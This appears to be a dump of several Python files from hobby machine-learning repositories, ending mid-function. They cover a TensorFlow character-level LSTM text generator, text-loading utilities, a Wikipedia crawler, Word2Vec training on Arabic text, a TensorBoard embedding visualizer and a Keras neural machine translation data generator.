+    checkpoint = f"{train_words.CHECKPOINT}/i8000_l128.ckpt"
+    samp = sample(checkpoint, 400, train_words.lstm_size, len(train_words.vocab), prime=["the", "very"])
+    print(samp)
+
+
+
+
+import tensorflow as tf
+import numpy as np
+
+
+
+def get_batches(arr, batch_size, n_steps):
+    '''Create a generator that returns batches of size
+       batch_size x n_steps from arr.
+       
+       Arguments
+       ---------
+       arr: Array you want to make batches from
+       batch_size: Batch size, the number of sequences per batch
+       n_steps: Number of sequence steps per batch
+    '''
+    chars_per_batch = batch_size * n_steps
+    n_batches = len(arr) // chars_per_batch
+
+    arr = arr[:chars_per_batch * n_batches]
+
+    arr = arr.reshape((batch_size, -1))
+
+    for n in range(0, arr.shape[1], n_steps):
+        x = arr[:, n: n+n_steps]
+        y_temp = arr[:, n+1:n+n_steps+1]
+        y = np.zeros(x.shape, dtype=y_temp.dtype)
+        y[:, :y_temp.shape[1]] = y_temp
+        yield x, y
+
+
+# batches = get_batches(encoded, 10, 50)
+# x, y = next(batches)
+
+
+def build_inputs(batch_size, num_steps):
+    ''' Define placeholders for inputs, targets, and dropout 
+    
+        Arguments
+        ---------
+        batch_size: Batch size, number of sequences per batch
+        num_steps: Number of sequence steps in a batch
+        
+    '''
+    # Declare placeholders we'll feed into the graph
+    inputs = tf.placeholder(tf.int32, shape=(batch_size, num_steps), name="inputs")
+    targets = tf.placeholder(tf.int32, shape=(batch_size, num_steps), name="targets")
+    
+    # Keep probability placeholder for drop out layers
+    keep_prob = tf.placeholder(tf.float32, name="keep_prob")
+    
+    return inputs, targets, keep_prob
+
+
+def build_lstm(lstm_size, num_layers, batch_size, keep_prob):
+    ''' Build LSTM cell.
+    
+        Arguments
+        ---------
+        lstm_size: Size of the hidden layers in the LSTM cells
+        num_layers: Number of LSTM layers
+        batch_size: Batch size
+        keep_prob: Scalar tensor (tf.placeholder) for the dropout keep probability
+
+    '''
+    ### Build the LSTM Cell
+    def build_cell():    
+        # Use a basic LSTM cell
+        lstm = tf.contrib.rnn.BasicLSTMCell(lstm_size)
+        # Add dropout to the cell outputs
+        drop_lstm = tf.contrib.rnn.DropoutWrapper(lstm, output_keep_prob=keep_prob)
+        return drop_lstm
+    
+    
+    # Stack up multiple LSTM layers, for deep learning
+    # build num_layers layers of lstm_size LSTM Cells
+    cell = tf.contrib.rnn.MultiRNNCell([build_cell() for _ in range(num_layers)])
+    initial_state = cell.zero_state(batch_size, tf.float32)
+    
+    return cell, initial_state
+
+
+def build_output(lstm_output, in_size, out_size):
+    ''' Build a softmax layer, return the softmax output and logits.
+    
+        Arguments
+        ---------
+        
+        lstm_output: List of output tensors from the LSTM layer
+        in_size: Size of the input tensor, for example, size of the LSTM cells
+        out_size: Size of this softmax layer
+    
+    '''
+    # Reshape output so it's a bunch of rows, one row for each step for each sequence.
+    # Concatenate lstm_output over axis 1 (the columns)
+    seq_output = tf.concat(lstm_output, axis=1)
+    # Reshape seq_output to a 2D tensor with lstm_size columns
+    x = tf.reshape(seq_output, (-1, in_size))
+    
+    # Connect the RNN outputs to a softmax layer
+    with tf.variable_scope('softmax'):
+        # Create the weight and bias variables here
+        softmax_w = tf.Variable(tf.truncated_normal((in_size, out_size), stddev=0.1))
+        softmax_b = tf.Variable(tf.zeros(out_size))
+    
+    # Since output is a bunch of rows of RNN cell outputs, logits will be a bunch
+    # of rows of logit outputs, one for each step and sequence
+    logits = tf.matmul(x, softmax_w) + softmax_b
+    
+    # Use softmax to get the probabilities for predicted characters
+    out = tf.nn.softmax(logits, name="predictions")
+    
+    return out, logits
+
+
+def build_loss(logits, targets, num_classes):
+    ''' Calculate the loss from the logits and the targets.
+    
+        Arguments
+        ---------
+        logits: Logits from final fully connected layer
+        targets: Targets for supervised learning
+        num_classes: Number of classes in targets
+        
+    '''
+     # One-hot encode targets and reshape to match logits, one row per sequence per step
+    y_one_hot = tf.one_hot(targets, num_classes)
+    y_reshaped =  tf.reshape(y_one_hot, logits.get_shape())
+    
+    # Softmax cross entropy loss
+    loss = tf.nn.softmax_cross_entropy_with_logits(logits=logits, labels=y_reshaped)
+    loss = tf.reduce_mean(loss)
+    
+    return loss
+
+
+def build_optimizer(loss, learning_rate, grad_clip):
+    ''' Build optmizer for training, using gradient clipping.
+    
+        Arguments:
+        loss: Network loss
+        learning_rate: Learning rate for optimizer
+        grad_clip: threshold for preventing gradient exploding
+    '''
+    
+    # Optimizer for training, using gradient clipping to control exploding gradients
+    tvars = tf.trainable_variables()
+    grads, _ = tf.clip_by_global_norm(tf.gradients(loss, tvars), grad_clip)
+    train_op = tf.train.AdamOptimizer(learning_rate)
+    optimizer = train_op.apply_gradients(zip(grads, tvars))
+    
+    return optimizer
+
+
+
+class CharRNN:
+    
+    def __init__(self, num_classes, batch_size=64, num_steps=50, 
+                       lstm_size=128, num_layers=2, learning_rate=0.001, 
+                       grad_clip=5, sampling=False):
+    
+        # When we're using this network for sampling later, we'll be passing in
+        # one character at a time, so providing an option for that
+        if sampling:
+            batch_size, num_steps = 1, 1
+        else:
+            batch_size, num_steps = batch_size, num_steps
+
+        tf.reset_default_graph()
+        
+        # Build the input placeholder tensors
+        self.inputs, self.targets, self.keep_prob = build_inputs(batch_size, num_steps)
+
+        # Build the LSTM cell
+        # (lstm_size, num_layers, batch_size, keep_prob)
+        cell, self.initial_state = build_lstm(lstm_size, num_layers, batch_size, self.keep_prob)
+
+        ### Run the data through the RNN layers
+        
+        # First, one-hot encode the input tokens
+        x_one_hot = tf.one_hot(self.inputs, num_classes)
+        
+        # Run each sequence step through the RNN with tf.nn.dynamic_rnn 
+        outputs, state = tf.nn.dynamic_rnn(cell, x_one_hot, initial_state=self.initial_state)
+        self.final_state = state
+        
+        # Get softmax predictions and logits
+        # (lstm_output, in_size, out_size)
+        # There are lstm_size nodes in hidden layers, and the number
+        # of the total characters as num_classes (i.e output layer)
+        self.prediction, self.logits = build_output(outputs, lstm_size, num_classes)
+        
+        # Loss and optimizer (with gradient clipping)
+        # (logits, targets, lstm_size, num_classes)
+        self.loss = build_loss(self.logits, self.targets, num_classes)
+        # (loss, learning_rate, grad_clip)
+        self.optimizer = build_optimizer(self.loss, learning_rate, grad_clip)
+
+
+
+
+from time import perf_counter
+from collections import namedtuple
+from parameters import *
+from train import *
+from utils import get_time, get_text
+
+import tqdm
+import numpy as np
+import os
+import string
+import tensorflow as tf
+
+
+
+
+if __name__ == "__main__":
+
+    CHECKPOINT = "checkpoints"
+
+    if not os.path.isdir(CHECKPOINT):
+        os.mkdir(CHECKPOINT)
+
+
+    vocab, int2char, char2int, text = get_text(char_level=True,
+                                                files=["E:\\datasets\\python_code_small.py", "E:\\datasets\\my_python_code.py"],
+                                                load=False,
+                                                lower=False,
+                                                save_index=4)
+
+    print(char2int)
+    
+    encoded = np.array([char2int[c] for c in text])
+
+    print("[*] Total characters :", len(text))
+    print("[*] Number of classes :", len(vocab))
+
+    model = CharRNN(num_classes=len(vocab), batch_size=batch_size, num_steps=num_steps,
+                lstm_size=lstm_size, num_layers=num_layers, 
+                learning_rate=learning_rate)
+
+    saver = tf.train.Saver(max_to_keep=100)
+    with tf.Session(config=tf.ConfigProto(intra_op_parallelism_threads=NUM_THREADS)) as sess:
+        sess.run(tf.global_variables_initializer())
+        
+        # Use the line below to load a checkpoint and resume training
+        saver.restore(sess, f'{CHECKPOINT}/e13_l256.ckpt')
+        
+        total_steps = len(encoded) // batch_size // num_steps
+        for e in range(14, epochs):
+            # Train network
+            cs = 0
+            new_state = sess.run(model.initial_state)
+            min_loss = np.inf
+            batches = tqdm.tqdm(get_batches(encoded, batch_size, num_steps),
+                                f"Epoch= {e+1}/{epochs} - {cs}/{total_steps}",
+                                total=total_steps)
+            for x, y in batches:
+                cs += 1
+                start = perf_counter()
+                feed = {model.inputs: x,
+                        model.targets: y,
+                        model.keep_prob: keep_prob,
+                        model.initial_state: new_state}
+                batch_loss, new_state, _ = sess.run([model.loss, 
+                                                    model.final_state, 
+                                                    model.optimizer], 
+                                                    feed_dict=feed)
+                
+
+                
+            
+                batches.set_description(f"Epoch: {e+1}/{epochs} - {cs}/{total_steps} loss:{batch_loss:.2f}")
+            saver.save(sess, f"{CHECKPOINT}/e{e}_l{lstm_size}.ckpt")
+            print("Loss:", batch_loss)
+        
+        saver.save(sess, f"{CHECKPOINT}/i{cs}_l{lstm_size}.ckpt")
+
+
+
+
+from time import perf_counter
+from collections import namedtuple
+from colorama import Fore, init
+
+# local
+from parameters import *
+from train import *
+from utils import get_time, get_text
+
+init()
+
+GREEN = Fore.GREEN
+RESET = Fore.RESET
+
+import numpy as np
+import os
+import tensorflow as tf
+import string
+
+
+CHECKPOINT = "checkpoints_words"
+files = ["carroll-alice.txt", "text.txt", "text8.txt"]
+
+if not os.path.isdir(CHECKPOINT):
+    os.mkdir(CHECKPOINT)
+
+vocab, int2word, word2int, text = get_text("data", files=files)
+
+encoded = np.array([word2int[w] for w in text])
+
+del text
+
+if __name__ == "__main__":
+
+    def calculate_time():
+        global time_took
+        global start
+        global total_time_took
+        global times_took
+        global avg_time_took
+        global time_estimated
+        global total_steps
+
+        time_took = perf_counter() - start
+        total_time_took += time_took
+        times_took.append(time_took)
+        avg_time_took = sum(times_took) / len(times_took)
+        time_estimated = total_steps * avg_time_took - total_time_took
+
+    model = CharRNN(num_classes=len(vocab), batch_size=batch_size, num_steps=num_steps,
+                lstm_size=lstm_size, num_layers=num_layers, 
+                learning_rate=learning_rate)
+
+    saver = tf.train.Saver(max_to_keep=100)
+    with tf.Session(config=tf.ConfigProto(intra_op_parallelism_threads=NUM_THREADS)) as sess:
+        sess.run(tf.global_variables_initializer())
+        
+        # Use the line below to load a checkpoint and resume training
+        # saver.restore(sess, f'{CHECKPOINT}/i3524_l128_loss=1.36.ckpt')
+        
+        # calculate total steps
+        total_steps = epochs * len(encoded) / (batch_size * num_steps)
+        time_estimated = "N/A"
+        times_took = []
+        total_time_took = 0
+        current_steps = 0
+        progress_percentage = 0
+        for e in range(epochs):
+            # Train network
+            new_state = sess.run(model.initial_state)
+            min_loss = np.inf
+            for x, y in get_batches(encoded, batch_size, num_steps):
+                current_steps += 1
+                start = perf_counter()
+                feed = {model.inputs: x,
+                        model.targets: y,
+                        model.keep_prob: keep_prob,
+                        model.initial_state: new_state}
+                batch_loss, new_state, _ = sess.run([model.loss, 
+                                                    model.final_state, 
+                                                    model.optimizer], 
+                                                    feed_dict=feed)
+                
+                progress_percentage = current_steps * 100 / total_steps
+
+                if batch_loss < min_loss:
+                    # saver.save(sess, f"{CHECKPOINT}/i{current_steps}_l{lstm_size}_loss={batch_loss:.2f}.ckpt")
+                    min_loss = batch_loss
+                    calculate_time()
+                    print(f'{GREEN}[{progress_percentage:.2f}%] Epoch: {e+1:3}/{epochs} Training loss: {batch_loss:2.4f} - {time_took:2.4f} s/batch - ETA: {get_time(time_estimated)}{RESET}')
+                    continue
+                if (current_steps % print_every_n == 0):
+                    calculate_time()
+                    print(f'[{progress_percentage:.2f}%] Epoch: {e+1:3}/{epochs} Training loss: {batch_loss:2.4f} - {time_took:2.4f} s/batch - ETA: {get_time(time_estimated)}', end='\r')
+                if (current_steps % save_every_n == 0):
+                    saver.save(sess, f"{CHECKPOINT}/i{current_steps}_l{lstm_size}.ckpt")
+        
+        saver.save(sess, f"{CHECKPOINT}/i{current_steps}_l{lstm_size}.ckpt")
+
+
+
+
+import tqdm
+import os
+import inflect
+import glob
+import pickle
+import sys
+from string import punctuation, whitespace
+
+p = inflect.engine()
+UNK = ""
+
+char2int_target = {'\t': 0, '\n': 1, '\x0c': 2, ' ': 3, '!': 4, '"': 5, '#': 6, '': 7, '%': 8, '&': 9, "'": 10, '(': 11, ')': 12, '*': 13, '+': 14, ',': 15, '-': 16, '.': 17,
+'/': 18, '0': 19, '1': 20, '2': 21, '3': 22, '4': 23, '5': 24, '6': 25, '7': 26, '8': 27, '9': 28, ':': 29, '': 30, '<': 31, '=': 32, '>': 33, '?': 34, '':
+35, 'A': 36, 'B': 37, 'C': 38, 'D': 39, 'E': 40, 'F': 41, 'G': 42, 'H': 43, 'I': 44, 'J': 45, 'K': 46, 'L': 47, 'M': 48, 'N': 49, 'O': 50, 'P': 51, 'Q': 52, 'R': 53, 'S': 54, 'T': 55, 'U': 56, 'V': 57, 'W': 58, 'X': 59, 'Y': 60, 'Z': 61, '[': 62, '\\': 63, ']': 64, '^': 65, '_': 66, '': 67, 'a': 68, 'b': 69, 'c':
+70, 'd': 71, 'e': 72, 'f': 73, 'g': 74, 'h': 75, 'i': 76, 'j': 77, 'k': 78, 'l': 79, 'm': 80, 'n': 81, 'o': 82, 'p': 83, 'q': 84, 'r': 85, 's': 86, 't': 87, 'u': 88, 'v': 89, 'w': 90, 'x': 91, 'y': 92, 'z': 93, '{': 94, '|': 95, '}': 96, '': 97, '': 98, '': 99, '': 100, '': 101, '': 102, '': 103, '': 104, '': 105, '\xad': 106, '': 107, '': 108, '': 109, '': 110, '': 111, '': 112, '': 113, '': 114, '': 115, '': 116, '': 117, '': 118, '': 119, '': 120, '': 121, '': 122, '': 123, '': 124, '': 125, '': 126, '': 127, '': 128, '': 129, '': 130, '': 131, '': 132, '': 133, '': 134, '': 135, '': 136, '': 137, '': 138, '': 139, '': 140, '': 141, '': 142, '': 143, '': 144, '': 145, '': 146, '': 147, '': 148, '': 149, '': 150, '': 151, '': 152, '': 153, '': 154, '': 155, '': 156, '': 157, '': 158, '': 159, '': 160, '': 161, '': 162, '': 163, '': 164, '': 165, '': 166, '': 167,
+'': 168, '': 169, '': 170, '': 171, '': 172, '': 173, '': 174, '': 175, '': 176, '': 177, '': 178, '': 179, '': 180, '': 181, '': 182, '': 183, '': 184, '': 185, '': 186, '': 187, '': 188, '': 189, '': 190, '': 191, '': 192}
+
+
+def get_time(seconds, form="{hours:02}:{minutes:02}:{seconds:02}"):
+    try:
+        seconds = int(seconds)
+    except:
+        return seconds
+    minutes, seconds = divmod(seconds, 60)
+    hours, minutes = divmod(minutes, 60)
+    days, hours = divmod(hours, 24)
+    months, days = divmod(days, 30)
+    years, months = divmod(months, 12)
+    if days:
+        form = "{days}d " + form
+    if months:
+        form = "{months}m " + form
+    elif years:
+        form = "{years}y " + form
+    return form.format(**locals())
+
+
+def get_text(path="data",
+            files=["carroll-alice.txt", "text.txt", "text8.txt"],
+            load=True,
+            char_level=False,
+            lower=True,
+            save=True,
+            save_index=1):
+    if load:
+        # check if any pre-cleaned saved data exists first
+        
+        pickle_files = glob.glob(os.path.join(path, "text_data*.pickle"))
+        if len(pickle_files) == 1:
+            return pickle.load(open(pickle_files[0], "rb"))
+        elif len(pickle_files) > 1:
+            sizes = [ get_size(os.path.getsize(p)) for p in pickle_files ]
+            s = ""
+            for i, (file, size) in enumerate(zip(pickle_files, sizes), start=1):
+                s += str(i) + " - " + os.path.basename(file) + f" ({size}) \n"
+            choice = int(input(f"""Multiple data corpus found:
+{s}
+99 - use and clean .txt files
+Please choose one:  """))
+            
+            if choice != 99:
+                chosen_file = pickle_files[choice-1]
+                print("[*] Loading pickled data...")
+                return pickle.load(open(chosen_file, "rb"))
+    text = ""
+    for file in tqdm.tqdm(files, "Loading data"):
+        file = os.path.join(path, file)
+        with open(file) as f:
+            if lower:
+                text += f.read().lower()
+            else:
+                text += f.read()
+    print(len(text))
+    punc = set(punctuation)
+
+    # text = ''.join([ c for c in tqdm.tqdm(text, "Cleaning text") if c not in punc ])
+    text = ''.join([ c for c in tqdm.tqdm(text, "Cleaning text") if c in char2int_target ])
+    # for ws in whitespace:
+    #     text = text.replace(ws, " ")
+
+    if char_level:
+        text = list(text)
+    else:    
+        text = text.split()
+
+    # new_text = []
+    new_text = text
+    # append = new_text.append
+    # co = 0
+    # if char_level:
+    #     k = 0
+    #     for i in tqdm.tqdm(range(len(text)), "Normalizing words"):
+    #         if not text[i].isdigit():
+    #             append(text[i])
+    #             k = 0
+    #         else:
+    #             # if this digit is mapped to a word already using 
+    #             # the below method, then just continue
+    #             if k >= 1:
+    #                 k -= 1
+    #                 continue
+    #             # if there are more digits following this character
+    #             # k = 0
+    #             digits = ""
+    #             while text[i+k].isdigit():
+    #                 digits += text[i+k]
+    #                 k += 1
+    #             w = p.number_to_words(digits).replace("-", " ").replace(",", "")
+    #             for c in w:
+    #                 append(c)
+    #             co += 1
+    # else:
+    #     for i in tqdm.tqdm(range(len(text)), "Normalizing words"):
+    #         # convert digits to words
+    #         # (i.e '7' to 'seven')
+    #         if text[i].isdigit():
+    #             text[i] = p.number_to_words(text[i]).replace("-", " ")
+    #             append(text[i])
+    #             co += 1
+    #         else:
+    #             append(text[i])
+    vocab = sorted(set(new_text))
+    print(f"alices in vocab:", "alices" in vocab)
+    # print(f"Converted {co} digits to words.")
+    print(f"Total vocabulary size:", len(vocab))
+    int2word = { i:w for i, w in enumerate(vocab) }
+    word2int = { w:i for i, w in enumerate(vocab) }
+
+    if save:
+        pickle_filename = os.path.join(path, f"text_data_{save_index}.pickle")
+        print("Pickling data for future use to", pickle_filename)
+        pickle.dump((vocab, int2word, word2int, new_text), open(pickle_filename, "wb"))
+
+    return vocab, int2word, word2int, new_text
+
+
+def get_size(size, suffix="B"):
+    factor = 1024
+    for unit in ['', 'K', 'M', 'G', 'T', 'P']:
+        if size < factor:
+            return "{:.2f}{}{}".format(size, unit, suffix)
+        size /= factor
+    return "{:.2f}{}{}".format(size, "E", suffix)
+
+
+
+
+import wikipedia
+from threading import Thread
+
+
+
+
+
+def gather(page_name):
+    print(f"Crawling {page_name}")
+    page = wikipedia.page(page_name)
+    filename = page_name.replace(" ", "_")
+    print(page.content, file=open(f"data/{filename}.txt", 'w', encoding="utf-8"))
+    print(f"Done crawling {page_name}")
+    for i in range(5):
+        Thread(target=gather, args=(page.links[i],)).start()
+
+
+if __name__ == "__main__":
+    pages = ["Relativity"]
+
+    for page in pages:
+        gather(page)
+
+
+
+
+# from keras.preprocessing.text import Tokenizer
+from utils import chunk_seq
+from collections import Counter
+from nltk.corpus import stopwords
+from keras.preprocessing.sequence import pad_sequences
+import numpy as np
+import gensim
+
+sequence_length = 200
+embedding_dim = 200
+# window_size = 7
+# vector_dim = 300
+# epochs = 1000
+
+# valid_size = 16     # Random set of words to evaluate similarity on.
+# valid_window = 100  # Only pick dev samples in the head of the distribution.
+# valid_examples = np.random.choice(valid_window, valid_size, replace=False)
+
+with open("data/quran_cleaned.txt", encoding="utf8") as f:
+    text = f.read()
+
+
+# print(text[:500])
+ayat = text.split(".")
+
+words = []
+for ayah in ayat:
+    words.append(ayah.split())
+
+# print(words[:5])
+# stop words
+stop_words = stopwords.words("arabic")
+# most common come at the top
+# vocab = [ w[0] for w in Counter(words).most_common() if w[0] not in stop_words]
+# words = [ word for word in words if word not in stop_words]
+new_words = []
+for ayah in words:
+    new_words.append([ w for w in ayah if w not in stop_words])
+
+# print(len(vocab))
+# n = len(words) / sequence_length
+# # split text to n sequences
+# print(words[:10])
+# words = chunk_seq(words, len(ayat))
+vocab = []
+for ayah in new_words:
+    for w in ayah:
+        vocab.append(w)
+vocab = sorted(set(vocab))
+vocab2int = {w: i for i, w in enumerate(vocab, start=1)}
+int2vocab = {i: w for i, w in enumerate(vocab, start=1)}
+
+encoded_words = []
+for ayah in new_words:
+    encoded_words.append([ vocab2int[w] for w in ayah ])
+
+encoded_words = pad_sequences(encoded_words)
+# print(encoded_words[10])
+words = []
+for seq in encoded_words:
+    words.append([ int2vocab[w] if w != 0 else "_unk_" for w in seq ])
+# print(words[:5])
+# # define model
+print("Training Word2Vec Model...")
+model = gensim.models.Word2Vec(sentences=words, size=embedding_dim, workers=7, min_count=1, window=6)
+path_to_save = r"E:\datasets\word2vec_quran.txt"
+print("Saving model...")
+model.wv.save_word2vec_format(path_to_save, binary=False)
+# print(dir(model))
+
+
+
+
+from keras.layers import Embedding, LSTM, Dense, Activation, BatchNormalization
+from keras.layers import Flatten
+from keras.models import Sequential
+from preprocess import words, vocab, sequence_length, sequences, vector_dim
+from preprocess import window_size
+
+model = Sequential()
+
+model.add(Embedding(len(vocab), vector_dim, input_length=sequence_length))
+model.add(Flatten())
+model.add(Dense(1))
+
+model.compile("adam", "binary_crossentropy")
+model.fit()
+
+
+
+
+def chunk_seq(seq, num):
+    avg = len(seq) / float(num)
+    out = []
+    last = 0.0
+    while last < len(seq):
+        out.append(seq[int(last):int(last + avg)])
+        last += avg
+    return out
+
+
+def encode_words(words, vocab2int):
+    # encoded = [ vocab2int[word] for word in words ]
+    encoded = []
+    append = encoded.append
+    for word in words:
+        c = vocab2int.get(word)
+        if c:
+            append(c)
+    return encoded
+
+def remove_stop_words(vocab):
+    # remove stop words
+    vocab.remove("the")
+    vocab.remove("of")
+    vocab.remove("and")
+    vocab.remove("in")
+    vocab.remove("a")
+    vocab.remove("to")
+    vocab.remove("is")
+    vocab.remove("as")
+    vocab.remove("for")
+
+
+
+
+# encoding: utf-8
+"""
+author: BrikerMan
+contact: eliyar917gmail.com
+blog: https://eliyar.biz
+version: 1.0
+license: Apache Licence
+file: w2v_visualizer.py
+time: 2017/7/30 9:37
+"""
+import sys
+import os
+import pathlib
+import numpy as np
+from gensim.models.keyedvectors import KeyedVectors
+import tensorflow as tf
+from tensorflow.contrib.tensorboard.plugins import projector
+
+
+def visualize(model, output_path):
+    meta_file = "w2x_metadata.tsv"
+    placeholder = np.zeros((len(model.wv.index2word), model.vector_size))
+
+    with open(os.path.join(output_path, meta_file), 'wb') as file_metadata:
+        for i, word in enumerate(model.wv.index2word):
+            placeholder[i] = model[word]
+            # temporary solution for https://github.com/tensorflow/tensorflow/issues/9094
+            if word == '':
+                print("Emply Line, should replecaed by any thing else, or will cause a bug of tensorboard")
+                file_metadata.write("{0}".format('').encode('utf-8') + b'\n')
+            else:
+                file_metadata.write("{0}".format(word).encode('utf-8') + b'\n')
+
+    # define the model without training
+    sess = tf.InteractiveSession()
+
+    embedding = tf.Variable(placeholder, trainable=False, name='w2x_metadata')
+    tf.global_variables_initializer().run()
+
+    saver = tf.train.Saver()
+    writer = tf.summary.FileWriter(output_path, sess.graph)
+
+    # adding into projector
+    config = projector.ProjectorConfig()
+    embed = config.embeddings.add()
+    embed.tensor_name = 'w2x_metadata'
+    embed.metadata_path = meta_file
+
+    # Specify the width and height of a single thumbnail.
+    projector.visualize_embeddings(writer, config)
+    saver.save(sess, os.path.join(output_path, 'w2x_metadata.ckpt'))
+    print('Run tensorboard --logdir={0} to run visualize result on tensorboard'.format(output_path))
+
+
+if __name__ == "__main__":
+    """
+    Use model.save_word2vec_format to save w2v_model as word2evc format
+    Then just run python w2v_visualizer.py word2vec.text visualize_result
+    """
+    try:
+        model_path = sys.argv[1]
+        output_path = sys.argv[2]
+    except:
+        print("Please provice model path and output path")
+    model = KeyedVectors.load_word2vec_format(model_path)
+    pathlib.Path(output_path).mkdir(parents=True, exist_ok=True)
+    visualize(model, output_path)
+
+
+
+
+from keras.preprocessing.text import Tokenizer
+from keras.preprocessing.sequence import pad_sequences
+from keras.utils import to_categorical
+import numpy as np
+import pickle
+import tqdm
+
+class NMTGenerator:
+    """A class utility for generating Neural-Machine-Translation large datasets"""
+    def __init__(self, source_file, target_file, num_encoder_tokens=None, num_decoder_tokens=None,
+                source_sequence_length=None, target_sequence_length=None, x_tk=None, y_tk=None,
+                batch_size=256, validation_split=0.15, load_tokenizers=False, dump_tokenizers=True,
+                same_tokenizer=False, char_level=False, verbose=0):
+        self.source_file = source_file
+        self.target_file = target_file
+        self.same_tokenizer = same_tokenizer
+        self.char_level = char_level
+        if not load_tokenizers:
+            # x ( source ) tokenizer
+            self.x_tk = x_tk if x_tk else Tokenizer(char_level=self.char_level)
+            # y ( target ) tokenizer
+            self.y_tk = y_tk if y_tk else Tokenizer(char_level=self.char_level)
+        else:
+            self.x_tk = pickle.load(open("results/x_tk.pickle", "rb"))
+            self.y_tk = pickle.load(open("results/y_tk.pickle", "rb"))
+        # remove '?' and '.' from filters
+        # which means include them in vocabulary
+        # add "'" to filters
+        self.x_tk.filters = self.x_tk.filters.replace("?", "").replace("_", "") + "'"
+        self.y_tk.filters = self.y_tk.filters.replace("?", "").replace("_", "") + "'"
+        
+        if char_level:
+            self.x_tk.filters = self.x_tk.filters.replace(".", "").replace(",", "")
+            self.y_tk.filters = self.y_tk.filters.replace(".", "").replace(",", "")
+
+        if same_tokenizer:
+            self.y_tk = self.x_tk
+        # max sequence length of source language
+        self.source_sequence_length = source_sequence_length
+        # max sequence length of target language
+        self.target_sequence_length = target_sequence_length
+        # vocab size of encoder
+        self.num_encoder_tokens = num_encoder_tokens
+        # vocab size of decoder
+        self.num_decoder_tokens = num_decoder_tokens
+        # the batch size
+        self.batch_size = batch_size
+        # the ratio which the dataset will be partitioned
+        self.validation_split = validation_split
+        # whether to dump x_tk and y_tk when finished tokenizing
+        self.dump_tokenizers = dump_tokenizers
+        # cap to remove _unk_ samples
+        self.n_unk_to_remove = 2
+        self.verbose = verbose
+
+    def load_dataset(self):
+        """Loads the dataset:
+            1. load the data from files
+            2. tokenize and calculate sequence lengths and num_tokens
+            3. post pad the sequences"""
+        self.load_data()
+        if self.verbose:
+            print("[+] Data loaded")
+        self.tokenize()
+        if self.verbose:
+            print("[+] Text tokenized")
+        self.pad_sequences()
+        if self.verbose:
+            print("[+] Sequences padded")
+        self.split_data()
+        if self.verbose:
+            print("[+] Data splitted")
+
+    def load_data(self):
+        """Loads data from files"""
+        self.X = load_data(self.source_file)
+        self.y = load_data(self.target_file)
+        # remove much unks on a single sample
+        X, y = [], []
+        co = 0
+        for question, answer in zip(self.X, self.y):
+            if question.count("_unk_") >= self.n_unk_to_remove or answer.count("_unk_") >= self.n_unk_to_remove:
+                co += 1
+            else:
+                X.append(question)
+                y.append(answer)
+        self.X = X
+        self.y = y
+        if self.verbose >= 1:
+            print("[*] Number of samples:", len(self.X))
+        if self.verbose >= 2:
+            print("[!] Number of samples deleted:", co)
+
+    def tokenize(self):
+        """Tokenizes sentences/strings as well as calculating input/output sequence lengths
+        and input/output vocab sizes"""
+        self.x_tk.fit_on_texts(self.X)
+        self.y_tk.fit_on_texts(self.y)
+        self.X = self.x_tk.texts_to_sequences(self.X)
+        self.y = self.y_tk.texts_to_sequences(self.y)
+        # calculate both sequence lengths ( source and target )
+        self.source_sequence_length = max([len(x) for x in self.X])
+        self.target_sequence_length = max([len(x) for x in self.y])
+        # calculating number of encoder/decoder vocab sizes
+        self.num_encoder_tokens = len(self.x_tk.index_word) + 1
+        self.num_decoder_tokens = len(self.y_tk.index_word) + 1
+        # dump tokenizers
+        pickle.dump(self.x_tk, open("results/x_tk.pickle", "wb"))
+        pickle.dump(self.y_tk, open("results/y_tk.pickle", "wb"))
+
+    def pad_sequences(self):
+        """Pad sequences"""
+        self.X = pad_sequences(self.X, maxlen=self.source_sequence_length, padding='post')
+        self.y = pad_sequences(self.y, maxlen=self.target_sequence_length, padding='post')
+
+    def split_data(self):
+        """split training/validation sets using self.validation_split"""
+        split_value = int(len(self.X)*self.validation_split)
+        self.X_test = self.X[:split_value]
+        self.X_train = self.X[split_value:]
+        self.y_test = self.y[:split_value]
+        self.y_train = self.y[split_value:]
+        # free up memory
+        del self.X
+        del self.y
+
+    def shuffle_data(self, train=True):
+        """Shuffles X and y together
+        :params train (bool): whether to shuffle training data, default is True
+            Note that when train is False, testing data is shuffled instead."""
+        state = np.random.get_state()
+        if train:
+            np.random.shuffle(self.X_train)
+            np.random.set_state(state)
+            np.random.shuffle(self.y_train)
+        else:
+            np.random.shuffle(self.X_test)
+            np.random.set_state(state)
+            np.random.shuffle(self.y_test)
+
+    def next_train(self):
+        """Training set generator"""
+        return self.generate_batches(self.X_train, self.y_train, train=True)
+
+    def next_validation(self):
+        """Validation set generator"""
+        return self.generate_batches(self.X_test, self.y_test, train=False)
+
+    def generate_batches(self, X, y, train=True):
+        """Data generator"""
+        same_tokenizer = self.same_tokenizer
+        batch_size = self.batch_size
+        char_level = self.char_level
+        source_sequence_length = self.source_sequence_length
+        target_sequence_length = self.target_sequence_length
+        if same_tokenizer:
+            num_encoder_tokens = max([self.num_encoder_tokens, self.num_decoder_tokens])
+            num_decoder_tokens = num_encoder_tokens
+        else:
+            num_encoder_tokens = self.num_encoder_tokens
+            num_decoder_tokens = self.num_decoder_tokens
+        while True:
+            for j in range(0, len(X), batch_size):
+                encoder_input_data = X[j: j+batch_size]
+                decoder_input_data = y[j: j+batch_size]
+                # update batch size ( different size in last batch of the dataset )
+                batch_size = encoder_input_data.shape[0]
+                if self.char_level:
+                    encoder_data = np.zeros((batch_size, source_sequence_length, num_encoder_tokens))
+                    decoder_data = np.zeros((batch_size, target_sequence_length, num_decoder_tokens))
+                else:
+                    encoder_data = encoder_input_data
+                    decoder_data = decoder_input_data
+                
+                decoder_target_data = np.zeros((batch_size, target_sequence_length, num_decoder_tokens))
+                if char_level:
+                    # if its char level, one-hot all sequences of characters
+                    for i, sequence in enumerate(decoder_input_data):
+                        for t, word_index in enumerate(sequence):
+                            if t > 0:
+                                decoder_target_data[i, t - 1, word_index] = 1
+                            decoder_data[i, t, word_index] = 1
+                    for i, sequence in enumerate(encoder_input_data):
+                        for t, word_index in enumerate(sequence):
+                            encoder_data[i, t, word_index] = 1
+                else:
+                    # if its word level, one-hot only target_data ( the one compared with dense )
+                    for i, sequence in enumerate(decoder_input_data):
+                        for t, word_index in enumerate(sequence):
+                            if t > 0:
+                                decoder_target_data[i, t - 1, word_index] = 1
+                yield ([encoder_data, decoder_data], decoder_target_data)
+            # shuffle data when an epoch is finished
+            self.shuffle_data(train=train)
+
+
+
+
+def get_embedding_vectors(tokenizer):
+    embedding_index = {}
+    with open("data/glove.6B.300d.txt", encoding='utf8') as f:
